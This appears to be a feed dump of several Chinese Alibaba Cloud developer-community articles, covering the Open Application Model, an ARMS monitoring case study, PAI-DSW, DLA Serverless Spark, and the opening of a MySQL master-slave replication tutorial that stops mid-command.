    对于整个云原生生态来说,这种应用层的碎片化和烟囱化,其实对于整个生态演进是非常不利的。而今天的现状也已经证明了这一点,在 Kubernetes 逐渐标准化了基础设施能力的接入方式之后,原本更加接近用户、更加重要的应用管理层,却几乎停滞了演进,在最近几年里没有提出任何一个创新性的思想出来。

    应用管理层停滞不前的结果,就是全世界的业务研发和运维一夜之间都被迫变成了 “容器专家”,一边学习着根本不应该是他们关心的各种 “基础设施即数据(Infrastructure as Data)” 领域的概念(比如:声明式 API,控制器等),一边吐槽 Kubernetes 实在是太复杂了、设计太奇葩了。

    简而言之,Kubernetes 作为一个面向基础设施工程师的系统级项目,主要负责提供松耦合的基础设施语义,这就使得用户学习和操作 Kubernetes YAML 文件的时候,往往会感觉这些文件里的关注点非常底层,学习门槛很高。

    实际上,对于Kubernetes 真正的最终用户比如业务研发人员和运维人员来说,他们并不想配置这些如此底层的资源信息,而是希望有更高维度的抽象。这就要求一个真正面向最终用户侧的应用定义,需要能够为业务研发和应用运维人员提供各自视角的应用定义原语。所以说,OAM 带来的第一个改变,就是提供了一种大家都可以遵循的、标准化的方式来定义更高层级的应用层抽象,并且把“关注点分离”作为这个定义模型的核心思想。

    而 OAM 带来的第二个变化,则是为 Kubernetes 项目带来了应用定义,更确切地说,是对应用本身和它所需运维能力进行定义与描述的标准开源规范。站在 Kubernetes 项目的角度来讲,OAM 是一个 Kubernetes 原生的标准的“应用定义”项目,同时也是一个专注于封装、组织和管理 Kubernetes 中各种“运维能力”、以及连接“运维能力”与“应用”的平台层框架。

    详细的说,OAM 基于 Kubernetes API 资源模型(Kubernetes Resource Model)来标准化应用定义的规范,它强调一个现代应用是多个组件的集合,而非一个简单的工作负载或者 K8s Operator。所以在 OAM 的语境中,一个 PHP 容器和它所依赖的数据库,以及它所需要使用的各种云服务,都是一个“电商网站”应用的组成部分。更进一步的,OAM 把这个应用所需的“运维策略”也认为是一个应用的一部分,比如这个 PHP 容器所需的 HPA(水平自动扩展策略):

    image.png

    以 Crossplane 项目为例,它在本次合作中通过 OAM 升级之后得到了怎样的变化呢?

    “ 作为混合云管理领域中的佼佼者,Crossplane 的 OAM 化保证了今天任何一个符合 OAM 规范的待运行程序、运维能力和它所依赖的云服务,可以组成一个整体在混合云环境中无缝漂移。”

    这种平台无关的应用定义范式,使得应用研发人员只需要通过 OAM 规范来描述他们的应用程序,那么该应用程序就可以在任何 Kubernetes 群集或者 Serverless 应用平台甚至边缘环境上运行,而无需对应用描述做任何修改。本次合作中 Crossplane OAM 版的发布,则意味着 OAM 社区正在将标准应用定义和标准化的云服务管理能力统一起来,从而实现真正的 “云端应用交付” 。

    OAM 如何发挥作用?

    那么 OAM 在一个项目中是如何运作的呢?

    据介绍,OAM 以原生插件的方式运行在 Kubernetes 当中。OAM 强调整个模型是关注点分离的。即业务研发人员负责定义和维护组件 (Component) 来描述服务单元,而运维人员定义运维特征 (Trait),并将其附加到前面的组件上,最后构成 OAM 可交付物 ——ApplicationConfiguration。

    image.png

    这种设计是 OAM 在能够无限接入 Kubernetes 各种能力的同时,保证给业务研发与运维人员提供最佳的使用体验和最低的心智负担的重要基础。与此同时,基础设施工程师可以随时在 Kubernetes 中添加更多工作负载(例如 FaaS)以运行无服务器功能,或者添加运维特性(例如 CronHPA)来定义 CronJob 类型的 HPA 策略。OAM 以标准的声明方式在整个平台中管理应用交付能力和流程,并且提供面向各个角色的 API 原语来表达各自的诉求,最后通过 Kubernetes 把这些诉求落实。

    什么样的项目需要 OAM?

    实际上,几乎所有基于 Kubernetes 的应用管理平台都对通过 OAM 来以标准化的方式去构建自己的应用模型有明确的诉求。另一方面,由于 OAM 是原生的 Kubernetes API 资源模型,这里的迁移过程难度很低,可以通过 API 对象灰度纳管的方式逐步完成迁移操作(通过 OAM 对象逐步接管现有 Kubernetes 对象)。

    而相比于传统 PaaS 封闭的、不能同 “以 Operator 为基础的云原生生态” 衔接的现状,基于 OAM 和 Kubernetes 构建的现代云原生应用管理平台,本质上是一个 “以应用为中心” 的 Kubernetes ,保证了这个应用平台在能够无缝接入整个云原生生态。同时,OAM 可以进一步屏蔽掉容器基础设施的复杂性和差异性,为平台的使用者带来低心智负担的、标准化的、一致的应用管理与交付体验。这就使得一个基于OAM 构建的 Kubernetes 应用平台,首先能够隐藏底层基础设施的细节(例如,是云还是物联网),专注于应用层抽象,提供以应用为中心的资源模型。

    其次,OAM 划分了应用交付路径上的开发、运维、基础架构三种角色,分离了关注点,让流程更加清晰和易于管理。

    第三,OAM 站在 K8s API 资源模型的肩膀之上,提供了可移植的应用与基础设施抽象,让一个应用描述可以完全不加修改的云、边、端等任何环境下直接交付运行起来。

    image.png

    除此之外,OAM 还定义了一组核心工作负载/运维特征/应用范畴,作为应用程序交付平台的基石。而平台开发者也可以添加更多工作负载(例如 FaaS 或者任意云服务),或者添加运维特性(例如 CronHPA)来定义 CronJob 类型的 HPA 策略。OAM 以标准的声明方式在整个平台中管理应用交付能力和流程。当模块化的 Workload 和 Trait 越来越多,就会形成组件市场。而 OAM 就像是这个组件市场的管理者,处理组件之间的关系,把许多组件集成起来变成一个产品交付给用户。OAM 加持下的 Kubernetes 应用管理平台,可以像乐高积木一样灵活组装底层能力、运维特征、以及开发组件。使得应用管理变得统一,功能却更加强大。

    OAM 社区现状

    谈到 OAM 项目社区的现状。“ 作为一个没有同商业诉求绑定的中立开源社区,OAM 生态自成立以来保持着较高的活跃度和参与度,大量的社区 Issue/PR贡献都来自阿里和微软之外的团队比如 AWS、腾讯、字节跳动、谐云、青云、好雨云、第四范式等生态参与者。除了阿里和微软本身以及基于 OAM 实现了内部应用管理架构的统一和标准化之外,不少基于 OAM 的云服务比如阿里云 EDAS 也已经上线。”

    与此同时,OAM 技术体系也开始在很多大型社区用户(比如 MasterCard 万事达卡)中落地,同时也出现了产品和商业化的实践(比如:谐云的可视化OAM实现),甚至来自其它云厂商比如 AWS 的开源项目整合与对接。可以看到,OAM 社区正在迅速成长和壮大中。

    开源社区的运作模式一直是我们比较好奇的地方。据介绍,OAM 项目目前完全由社区驱动,由各子项目的 Maintainer 小组进行维护和管理。社区有每两周一次的社区会议(美国和北京时间各一个)来进行重大事项的讨论与决策和同步项目进度。整个社区的的工作流程按照 Maintainer 席位的投票机制来运转,同时兼顾最终用户的投票权。目前 OAM 社区的核心 Maintainer 来自阿里云,微软和 Crossplane 项目原有的成员。在推广策略上,由多个国际化大厂团队维护的 OAM 项目从诞生起就是完全面向国际化开源社区的运作方式,凭借阿里与微软自身场景,以及整个云原生社区和贡献者的高质量输入来驱动整个项目向正确的方向持续演进,在沟通、分享、协作的氛围中鼓励贡献和发展社区。这种模式下,一旦突破早期破冰阶段,在随后社区传播和推广方面会带来病毒式的效果。

    目前 OAM 的版本是 v1alpha2 ,OAM 的版本之后会不停迭代,根据实际的场景持续演进;当然,同时 spec 本身也会保证规范的稳定和兼容。这个标准的更新速度主要是取决于用户的接受程度和反馈的情况,并且会在今年发布 Beta 版。本次合作中,OAM 已经发布了 Kubernetes 的标准实现与核心依赖库,这也就意味着未来整个开源生态都可以直接通过对接 Crossplane 或者 oam-kubernetes-runtime 来支持 OAM 标准,所以这样的项目很快会越来越多。

    本文转自<阿里巴巴云原生技术圈>——阿里巴巴云原生小助手

    ]]>
    案例速览 | 如何为3~12岁孩子提供全方面监控能力?-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 17.jpg

    叫叫阅读系列是成都书声科技有限公司(铁皮人)旗下的教育 Apps 。主要针对 3-12 岁孩子,以儿童身心发展规律为依据,秉承叶圣陶先生的语文教育论,多读书,读好书,勤思考。由小学语文老师、幼小衔接专家、诵读老师、儿童节目主持人组成的优秀师资团队带领孩子解读名篇,领略汉语文字之美,建立其知识格局,完善其独立人格,提升其语文素养。通过“在线互动课堂+在线班主任辅导+线下配纸质书”的三位一体的教学模式,丰富孩子的知识,培孩子的能力,提升孩子的素养。

    2007 到 2011 年,叫叫阅读创作的绘本 500 余册,部分绘本被大中华,北美等地区选为课外指定阅读绘本;2011 到 2017 年,原创的教育类 App 以及叫叫系列产品诞生,斩获用户 7000 万;近年来,通过提供更为丰富的在线语文,数学课程,特别是疫情下,学员人数累创新高。

    新的需求

    随着在线教育的风口来临,叫叫阅读的业务呈现指数般增长,依托于以微服务化为基础的互联网架构下,系统中拆分的应用越来越多,应用间以及应用内的问题监控/定位/分析越发困难,急切需要一个如下功能的 APM 工具来解锁提升技术团队的相关能力:

    全方位的应用监控能力:不但可以监控 CPU /内存、网络、IO、磁盘等基础设施;还可以监控 JVM 、线程、异常、慢 SQL 等情况;最重要还可提供基于应用/接口的各种 metrics , 业务调用链的能力,最好能方便地获取 SQL 的绑定参数。

    无侵入的应用接入方式:不需要开发人员主动埋点,无需要业务方引入 jar 依赖,可在容器/ECS 等多种环境上部署便拥用全方位的应用监控能力。

    低损耗的资源占用比例:接入的 APM 工具对业务应用本身的资源占用比例绝大部分时间不超过 5% , APM 本身对宿主应用的资源占用的有保护措施。

    白屏化的配置使用能力:可以通过白屏化进行采样率 / SQL 绑定参数的提取等等的调整,也可以通过批量标签化管理应用的监控接入启停,提供丰富的告警配置能力。

    解决方案:

    通过阿里自研的 ARMS 应用实时监控工具,既满足无侵入的接入方式和低损耗的资源占用比例,还提供了全方位的应用监控能力和白屏化的配置使用能力,而且 ARMS 结合众多客户场景和专家经验,提供智能诊断功能。
    image.png

    效果:

    1、平稳支撑在线教育的增长风口:近来在线教育行业正在风口上高速增长,叫叫阅读在ARMS的帮助下,及早发现与修复问题,帮助业务系统渡过了一浪赛过一浪的学员使用峰值,为业务的增长提供了有力的保障。

    2、解锁技术团队的定位技能包:有了ARMS的支持,不但资深工程师掌握了快速定位分析问题的能力,刚上手的同学也能在短期内就拥有相同的技能包。在ARMS的长期使用熏陶中,整个技术团队的编码能力潜移默化地得到了升华,获得了生产力的提升。

    客户证言:

    “阿里云 ARMS 监控定位分析告警的能力超出了我们的预期,在接入与管理上非常灵活简洁!借助 ARMS 的能力,完全解锁了我们技术团队的系统定位分析技能包,对系统的稳定与高效运行有了质的飞跃,我们的业务部门对系统的提升也称赞不绝。”

    加入阿里云在线教育客户交流钉钉群

    欢迎扫码加入在线教育行业客户交流钉钉群,阿里巴巴众多专家将在群内定期分享行业最佳实践和前沿技术干货,扫码入群,与更多行业精英互动交流。钉钉扫码或搜索钉钉群号均可加入:35712134。
    image.png
    【填问卷抽淘公仔-阿里云中间件用户调研】

    点击链接,一分钟填问卷抽淘公仔:
    https://survey.aliyun.com/apps/zhiliao/YmW95Gk8bU

    ]]>
    云端IDE:阿里云机器学习与PAI-DSW | 《阿里云机器学习PAI-DSW入门指南》-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 经过20年的快速发展,阿里经济体已经组建了一个庞大的商业生态圈,并在支付、云计算、本地生活服务等行业保持互联网巨头地位。2020财年交易额突破1万亿美元,全球第一家;阿里云支撑了2019年双11 期间峰值 54.4 万笔/秒、单日数据处理量达到 970PB 的世界级的流量洪峰,成为业界第一个实现此壮举的云计算公司。

    阿里云机器学习平台正是伴随着这样庞大而复杂的阿里经济体业务成长起来的。下面我们将带着大家掀开阿里云机器学习技术大图的一角,看看阿里云机器学习,特别是机器学习工程上的发展、沉淀和创新。

    阿里云机器学习技术大图

    我们从用户和技术的两个角度来梳理阿里云机器学习的技术体系大图。从用户的角度来说,根据使用机器学习的深度不同,在云栖大会上,我们展示了飞天AI平台的技术分层关系:

    image.png(注:不是一个完整的产品列表,而是一些核心的样例)

    从技术的角度说,机器学习从算法到底层的硬件,都涉及到不同的技术方向。下面是我们对于核心技术能力上的一个总体描述:
    image.png
    每个技术方向上都形成各自的布局和沉淀,接下来我们会重点讲述作为机器学习重要组成部分的工程能力体系建设。

    阿里云机器学习工程能力体系

    阿里云在机器学习工程体系建设上,也经历了各领域业务需求驱动和技术驱动分阶段螺旋式递进上升的过程。由最初的通过传统机器学习算法进行数据价值的粗加工,到今天以深度学习为主、支撑各类“行业大脑”解决方案的人工智能工程体系。

    阿里云的机器学习工程能力体系建设始终围绕着更高效的融合人工智能三要素(算法、数据、算力)进行展开,即追求不断提升整个工程体系中的计算效率、数据效率以及工程效率,从而能够更好的支撑阿里经济体各方面业务快速发展的需求,并通过阿里云对外进行技术输出,推动人工智能领域的技术变革,产生更大的社会效益,实现普惠人工智能。

    经过多年的发展创新,阿里云在AI托管平台技术层进行了系统性的建设,极大提升了算法研发、共享、部署、输出的效率,在此基础上沉淀出多个具有用户粘性和场景差异化的开发平台,这里我们选取阿里云机器学习PAI(Platform of Artificial Intelligence)作为代表来着重来介绍。

    PAI是一款覆盖机器学习全流程的一站式机器学习平台产品,集数据预处理、特征工程、自动调参、模型训练、在线预测为一体,为用户提供低门槛、高性能的云端机器学习服务。

    PAI相关技术脱胎于阿里集团内数十个BU的上千个业务体系,沉淀了大量的覆盖各个领域的优质分布式算法、框架、平台等,同时也在不断完善和扩充机器学习生态。
    image.png

    阿里云机器学习PAI-DSW

    作为在AI战线上辛勤耕耘的算法工作者,你是否也常常遇到下面的情形:

    算法需要运行在GPU上,可是长时间申请不到GPU机器,只能干着急。

    终于GPU机器申请到了,却不能马上开始使用,需要先安装GPU驱动和各种依赖等等,感觉有些浪费时间。

    好不容易机器环境弄好了,可当某天更新算法代码后变得很慢, 排查半天才发现是GPU驱动需要升级补丁,很是无奈。

    生产环境机器网络隔离,在线上要debug代码,只能使用GDB在命令行进行,开发效率大大降低。

    在本地采用PyCharm这样的IDE开发好代码,而数据在生产环境,不允许下载,只能把代码拷贝到线上机器运行,发现问题后,又得回到本地修改调试后再来一遍,非常不便。

    PAI Studio采用图形化拖拽式,像搭积木一样分分钟就构建一个完整的工作流,很炫酷。 但想要定制发布自己的组件时,却不知从何下手。

    在长期与算法工程师同学沟通合作的过程中,我们发现了算法工程师面临的这些问题。提升机器学习工程效率,降低人工智能使用门槛,急需一个简单、轻量、好用的工具平台,从而让算法工程师更加专注于模型设计本身。PAI DSW(Data Science Workshop)就是PAI团队为解决算法工程师的以上痛点,新推出的一款云端机器学习开发IDE。

    PAI-DSW集成了Jupyterlab、WebIDE等多种开源项目,在阿里巴巴集团内上百个BU和上千名工程师的打磨之下性能和功能上都进行了一定的调优。数据上打通了ODPS等多个数据源,方便用户在构建模型的时候免去重新构建数据管道的工作。同时,在深度学习上,PAI-DSW内置了Tensorboard,可以通过简单的拖拽的方式来帮助深度学习的开发者更好的完成深度学习场景下神经网络的建模。下图展示了DSW在机器学习平台PAI产品架构中的位置:

    image.png
    (DSW在机器学习平台PAI产品架构中的位置)

    简单来说,PAI-DSW可以实现多实例、多环境,GPU/CPU资源、JupyterLab、WebIDE以及全屏使用Terminal无干扰工作。目前PAI-DSW已经向所有阿里云的用户免费开放了探索者版,只需要登陆阿里云然后打开 https://dsw-dev.data.aliyun.com/#/ 即可即刻开始云上数据科学之旅。本书后面两个章节将详细介绍如何使用PAI-DSW这一简单好用的工具。

    ]]>
    阿里云云原生数据湖分析DLA Serverless Spark重磅发布,助力企业低成本挖掘OSS数据价值-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 一、背景概述

    1.1 什么样的客户需要数据湖

    在数据处理领域,数据湖相对来说是一个比较新的概念,它的提出可以很好地帮助企业应对当前数据场景越来越多、数据结构越来越复杂、数据处理的需求越来越多样化的问题。传统的单机数据库技术倾向于大一统,一个数据库可以解决数据存储、在线交易、在线分析、离线报表等功能,好处是简单,数据只有一份,缺点是各个功能都做了取舍,很难解决规模的问题。为了突破数据规模的瓶颈,大数据技术更倾向于针对单独领域做深度定制,比如海量文件存储使用HDFS、海量对象存储使用OSS/S3、宽表存储使用BigTable/HBase、嵌套数据使用MongoDB、大规模TP数据使用PolarDB、大规模AP数据使用ADB/Clickhouse、日志数据使用LogService等等。

    在很多企业里面,不同的部门业务不同,采用的数据方案也不同。在企业发展的前期,更多是靠业务模式驱动、流量驱动,数据复杂度的问题还不明显,后期则需要精细化运营、向数据要红利,数据管理的难度就成为企业的痛点。数据湖的出现可以很好地解决这个痛点,这也是为什么各个云厂商都推出了数据湖产品,数据湖产品和解决方案越来越得到客户的认可。Gartner 2020年发布的报告显示目前已经有39%的用户在使用数据湖,34%的用户考虑在1年内使用数据湖。

    1.2 Aliyun DLA数据湖整体方案

    image.png

    Aliyun数据湖分析(DLA)产品提供了数据湖的一站式解决方案。OSS对象存储采用KV的技术架构,可以实现无限扩展,是公认的数据湖存储底座。用户可以通过离线ETL和在线增量ETL将在线数据和实时增量数据,同步到OSS中,然后对数据做深度的计算和分析。用户也可以直接访问这些在线库,做在线的联邦分析。为了方便用户管理数据湖中的数据,我们提供了统一的数据湖管理方案。数据湖管理可以统一存储数据湖中数据的元信息给计算引擎使用,另外还提供元数据动态爬取功能,可以动态解析OSS数据目录结构和数据格式,省去了用户手动创建表和分区的工作。DLA同时提供了SQL和Spark两个引擎,SQL基于Presto实现,可以实现在线分析,Spark可以实现用户自定义代码和复杂计算逻辑。同时,DLA跟DMS和QuickBI进行了深度集成,方便用户实现更丰富的开发和管理逻辑。

    二、DLA Serverless Spark架构解析

    2.1 DLA Spark为什么是云原生 + Serverless

    2.1.1 数据湖天然存储计算分离

    数据湖技术处理的对象是用户已存在的所有的数据。这里提到两个关键定语“已存在的”和“所有的”。要处理好“已存在的”原始数据,最好的方式显然不是先将其导入到数据仓库中,最好是能够原地分析,使用单独的计算资源来计算分析各种类型存储系统中的数据,这就是存储计算分离的架构。存储计算分离的架构能够做到存储和计算的分层弹性,存储可以无限扩展,计算能够按需弹性调度。这里提到了弹性计算,计算的弹性可以分很多层次:

    • 集群级弹性:用户可以按需购买ECS并部署集群,然后后再执行计算任务,任务执行完之后再释放掉集群;
    • 作业级弹性:用户每个作业都是单独的计算资源,作业执行完之后立即释放;
    • 作业内弹性:一个任务在执行过程中,不同的阶段所需要消耗的资源不同,典型地,分布式作业出现长尾时,大部分资源都是空闲的,此时可以将空闲资源释放掉;
    • 容器内弹性:计算任务的进程在执行过程中不同时段所需要的资源不同,是否可以做到动态调节;

    弹性的粒度越细,资源的利用率越高,成本也就越低。相对于传统IDC,云的最大的优势之一就是弹性,数据湖天然是存储计算分离的,跟云弹性的能力十分匹配,数据湖场景下,云原生 + 弹性是必然趋势。

    2.1.2 Serverless是云的趋势

    Serverless是业内公认的云发展的一个趋势。其实不难理解,从IDC自建到搬站上云再到Serverless化符合技术和客户需求发展的规律。

    在云最初产生的时候,大家把云计算基本等同于虚拟化技术,客户最普遍的需求是将线下的站点搬上云,用户把云当做对线下硬件的替换,企业的IT研发、运维大体跟上云前一致。用户对大数据系统,比如Hadoop集群,也类似,把线下集群换成虚拟集群,再由专门团队运维大数据集群。在云市场发展的第一阶段,这种模式有用户习惯的因素,也有性能、成本等的因素,自建跟云产品在性能上差距不太大,在成本上甚至更便宜,客户也拥有一定的掌控感。然而,云的技术会继续往精细化深入发展,从资源共享的角度来看,每套Hadoop集群都有一套自己的管控,这些管控包括Master节点,Core节点上面的守护进程,以及配套的监控、运维管理等系统。这些资源和人力投入实际上对企业来说都只是成本,并不产生真正的计算价值。

    随着云技术的发展,Serverless形态可以很好的解决企业在第一阶段遇到的问题,企业只需要关心自己的业务开发,只为真正参与计算的资源付费,云产品把管控的部分统一管理起来,边际成本可以做到很低。另外,云产品会深度扎根于云基础设施,对性能、弹性、使用体验等做持续深入优化,相对于第一阶段的用户自建模式可以实现数倍的性价比提升。最后,随着云产业的发展,云产品会越来越标准化,客户也不必担心被云绑定的问题。在云市场进入第二阶段,Serverless形态的产品让企业更专注于自身业务,进一步降低运维和资源成本,让开发者拥有更好的使用体验以及更低的入门门槛。

    2.1.3 Spark一站式解决数据湖计算需求

    “所有的”意味着数据的来源途径多种多样,存储位置多种多样,数据格式多种多样。这就要求计算引擎可以支持所有数据类型,并且可以很方便的做分析、计算,因为数据是“已存在的”,Schema只能在读取的时候才能确定,而不能依赖用户把表都提前建好。Spark非常适合数据湖场景:

    • Spark本身内置了十分丰富的数据源连接器,接口也很方便扩展;
    • Spark既支持使用SQL,又支持编写多种语言的DataFrame代码,兼具易用性和灵活性;
    • Spark一站式引擎能力,同一个引擎同时提供SQL、流、机器学习、图计算的能力;

    DLA团队将Serverless、云原生、Spark技术优势深度整合到一起,提供Serverless Spark产品,兼具三者优势。下面我们将对Serverless Spark产品架构进一步解析。

    2.2 自建Spark集群 VS Serverless Spark

    image.png

    上图中左半部分是传统最常见的集群版Spark,右边是Serverless Spark。集群版Spark大家都比较熟悉,每个用户一个集群,集群内部拥有一套完整的Spark管控,用户使用方式上跟传统IDC模式一致。

    Serverless Spark将管控完全多租户化,相对于传统的集群模式,Serverless Spark抽象出一个虚拟集群的概念。虚拟集群只是承载用户对作业进行控制的一些配置,包括网络的配置、安全隔离的配置、计算资源Quota的配置、作业通用参数的配置等。由于是虚拟集群,所以集群创建基本都可以做到秒级完成。用户创建完虚拟集群之后,就可以往虚拟集群提交作业,去访问用户在各个存储引擎中的数据。

    Serverless Spark在弹性能力上基于Aliyun Kubernetes云原生技术深度定制,调度层可以实现秒级拉起,一分钟可以并行拉起300个计算节点,后续还会持续优化。Serverless Spark控制服务实现了对云资源、作业、库表列元数据、租户、安全等管理,对上提供阿里云OpenAPI,用户可以通过OpenAPI实现作业的提交和管理。另外Serverless Spark会跟其他云产品深度集成,进一步丰富用户的使用场景,目前Serverless Spark已经跟DMS进行集成,可以实现工作流,定时调度等管理。

    对比维度 自建Hadoop集群 Serverless版
    内置存储 HDFS 数据湖存储OSS
    集群形态 ECS集群,需配置Master、Core规格 虚拟集群,只需配置资源quota
    集群管理 扩缩容、升降配 quota调整,参数配置
    售卖形态 实例型,集群粒度,按ECS规格售卖 服务型,按作业实际使用CU*时收费
    资源弹性 集群级别 作业级弹性
    性价比 低:管控开销+资源空闲开销 高:按需付费
    维护成本 高:运维团队维护集群 低:管理员分配资源
    作业管理 Livy、脚本、控制台、定时调度、作业编排 OpenAPI、脚本、控制台、定时调度、作业编排
    租户支持 依赖开源,配置复杂 Aliyun RAM
    学习成本 高:需要先学习集群管理与配置 低:只需要学习Spark开发

    在上表中,我们在集群运维、性价比、作业开发等方面对比了两种形态的差异。从使用体验上,Serverless Spark可以做到开箱即用,一分钟就可以跑通一个Spark作业;从成本上,由于将管控完全多租户化,用户不需要承担这部分额外开销,只需要实际使用付费;从运维方面,一个企业中一个管理员就可以实现整体管理工作,大大降低运维成本。

    三、DLA Serverless Spark性价比

    3.1 1TB Terasort DLA Spark vs 自建Hadoop 性价比对比

    image.png

    我们先对比下1TB数据情况下,数据湖方案跟传统Spark集群方式的性价比。相关配置说明如下:

    • TeraSort输入1TB + shuffle大约1TB + 输出1TB,作业每天跑一次。
    • Hadoop集群配置:单Master(4c8g) + 5个Core(8c32g),Core节点配置4块500GB的高效云盘。一般高效云盘采用2备份的HDFS配置。这里存储空间是4 500GB 5 / 2 = 5TB。
    • Serverless Spark采用40CU + 2TB OSS。

    对比结果如右图所示,作业性能上Serverless Spark跟Hadoop基本持平,但是性价比差异非常大,DLA Serverless Spark会节约80%。也就是会有4-5倍的性价比提升。

    需要说明的是:

    • Hadoop集群配置是一个总容量5TB集群的典型配置,一般情况下集群不能把磁盘都用满,要留一定buffer,否则系统可能会出现各种空间不足问题。
    • Serverless Spark完全按需使用存储和计算资源。
    • Serverless Spark对OSS访问实现了深度定制优化,性能相比于社区提升1倍左右。

    3.2 10TB Terasort DLA Spark vs 自建Hadoop 性价比对比

    image.png

    对于更大规模数据,比如10TB,对比结果如上图所示。相关配置说明:

    • TeraSort输入10TB + shuffle大约10TB + 输出10TB。作业每天跑一次。
    • Hadoop集群配置:单Master(4c8g) + 5个Core(16c64g),Core节点配置8 5.5TB的本地盘。一般本地盘采用3备份的HDFS配置。这里存储空间是5 8 * 5.5TB / 3 = 73TB。
    • Serverless Spark采用80CU + 50TB OSS。

    我们发现性能上DLA Spark提升了1倍,成本反而降低了一半,性价比提升4倍。

    需要说明的是:

    • Hadoop集群采用的是大数据量场景下的典型配置,采用本地盘D1机型,成本相对于云盘要便宜。由于本地盘机型要求空间比较大,16c64g的只能配置44TB的本地盘,考虑到Hadoop集群的本地盘通常不能打太满,为了公平起见,我们采用OSS的空间是50TB。
    • 在分析性能时发现,在10TB场景下,本地盘的存储和shuffle之间会有IO带宽上明显的争用,而Serverless Spark计算节点自带essd云盘,将shuffle盘完全独立,对性能提升有较大的贡献。

    3.3 Serverless Spark访问用户自建Hadoop

    image.png

    用户可以将自建Hadoop和Serverless Spark混合使用,用户Hadoop集群在高峰期需要更多的计算资源,用户可以直接提交Serverless Spark来实现对计算弹性的需求。由于Serverless Spark可以做到直接跟用户VPC打通,可以直接使用内网带宽,经过对比两者的性能基本持平。

    四、使用场景

    image.png

    面向数据湖中的各种各样的数据,Spark可以用于如下场景:

    • 生态打通:Spark的多数据源能力,提供外部数据源批量入库、联邦分析能力;DLA Spark会跟云上数据源做深度集成优化,解决稳定性问题并提升性能;
    • 算法及用户可编程:支持python、java、scala、R、SQL多语言,支持复杂的数据过程处理(类似PL/SQL)、机器学习等;
    • 离线数仓(复杂分析):支持复杂离线分析,提供天/月级别的报表等;
    • 半结构化/非结构化处理:搭配HDFS/OSS存储为数据库添加非结构化数据存储处理能管理(CSV、XML、Parquet多种存储);
    • 离线ETL:可以用于各存储引擎之间的数据转换、清洗、归档等操作;
    • 实时计算:Spark Streaming + Hudi可以实现数据实时转存,实现在不影响在线库稳定性情况下,对实时数据的复杂分析;Spark Streaming实时ETL将多个MySQL大表,合并为一个ADB宽表,避免大表在线join,提高在线分析性能。

    image.png

    上图是某游戏公司使用DLA解决数据湖场景问题的方案。用户要对在线库RDS做分析,但又怕影响RDS的稳定性,于是选择采用DLA一键建仓功能将其同步到OSS里面转为列存;用户游戏APP的日志数据会接入到Kafka里面,然后通过Spark Streaming实时写入到OSS,数据采用Hudi增量数据湖格式。数据流入到OSS后,用户会对数据使用DLA SQL(Presto)做在线分析,也会对历史数据做复杂分析和机器学习,挖掘游戏玩家的使用规律。

    五、总结与展望

    针对用户面临的越来越多的数据湖场景典型问题,阿里云DLA产品提供了一体化解决方案,从数据湖管理到数据湖分析和计算。相对于在线引擎,Spark更适合弹性计算架构,可以跟云原生的弹性能力深度整合起来。从传统IDC到搬站上云到完全Serverless化,这条路径已经被越来越被认可为云技术的发展路径。DLA Spark采用完全云原生 + Serverless形式,相对于传统的自建Hadoop在性价比上拥有数倍的优势。

    未来,DLA Serverless Spark会面向数据湖场景做进一步深度优化:

    • 更便宜:实现更细粒度的弹性继续降低成本;
    • 更快:优化Spark内核本身,特别是跟云存储之间做深入定制优化,提升引擎性能;
    • 更好用:降低Spark开发难度,更进一步提升用户使用体验。

    注:DLA Serverless Spark控制台使用链接,DLA Serverless Spark帮助文档

    image.png

    ]]>
    关于阿里云DRDS 5.3升级 详细介绍 性能提升300%-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800

    ]]>
    MySQL主从复制读写分离,看这篇就够了!-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 思维导图

    微信公众号已开启:【java技术爱好者】,还没关注的记得关注哦~

    文章已收录到我的Github精选,欢迎Starhttps://github.com/yehongzhi/learningSummary

    前言

    在很多项目,特别是互联网项目,在使用MySQL时都会采用主从复制、读写分离的架构。

    为什么要采用主从复制读写分离的架构?如何实现?有什么缺点?让我们带着这些问题开始这段学习之旅吧!

    为什么使用主从复制、读写分离

    主从复制、读写分离一般是一起使用的。目的很简单,就是为了提高数据库的并发性能。你想,假设是单机,读写都在一台MySQL上面完成,性能肯定不高。如果有三台MySQL,一台mater只负责写操作,两台salve只负责读操作,性能不就能大大提高了吗?

    所以主从复制、读写分离就是为了数据库能支持更大的并发

    随着业务量的扩展、如果是单机部署的MySQL,会导致I/O频率过高。采用主从复制、读写分离可以提高数据库的可用性

    主从复制的原理

    ①当Master节点进行insert、update、delete操作时,会按顺序写入到binlog中。

    ②salve从库连接master主库,Master有多少个slave就会创建多少个binlog dump线程。

    ③当Master节点的binlog发生变化时,binlog dump 线程会通知所有的salve节点,并将相应的binlog内容推送给slave节点。

    ④I/O线程接收到 binlog 内容后,将内容写入到本地的 relay-log。

    ⑤SQL线程读取I/O线程写入的relay-log,并且根据 relay-log 的内容对从数据库做对应的操作。

    如何实现主从复制

    我这里用三台虚拟机(Linux)演示,IP分别是104(Master),106(Slave),107(Slave)。

    预期的效果是一主二从,如下图所示:

    Master配置

    使用命令行进入mysql:

    mysql -u root -p

    接着输入root用户的密码(密码忘记的话就网上查一下重置密码吧~),然后创建用户:

    //192.168.0.106是slave从机的IP
    GRANT REPLICATION SLAVE ON *.* to 'root'@'192.168.0.106' identified by 'Java@1234';
    //192.168.0.107是slave从机的IP
    GRANT REPLICATION SLAVE ON *.* to 'root'@'192.168.0.107' identified by 'Java@1234';
    //刷新系统权限表的配置
    FLUSH PRIVILEGES;

    创建的这两个用户在配置slave从机时要用到。

    接下来在找到mysql的配置文件/etc/my.cnf,增加以下配置:

    # 开启binlog
    log-bin=mysql-bin
    server-id=104
    # 需要同步的数据库,如果不配置则同步全部数据库
    binlog-do-db=test_db
    # binlog日志保留的天数,清除超过10天的日志
    # 防止日志文件过大,导致磁盘空间不足
    expire-logs-days=10 

    配置完成后,重启mysql:

    service mysql restart

    可以通过命令行show master statusG;查看当前binlog日志的信息(后面有用):

    Slave配置

    Slave配置相对简单一点。从机肯定也是一台MySQL服务器,所以和Master一样,找到/etc/my.cnf配置文件,增加以下配置:

    # 不要和其他mysql服务id重复即可
    server-id=106

    接着使用命令行登录到mysql服务器:

    mysql -u root -p

    然后输入密码登录进去。

    进入到mysql后,再输入以下命令:

    CHANGE MASTER TO 
    MASTER_HOST='192.168.0.104',//主机IP
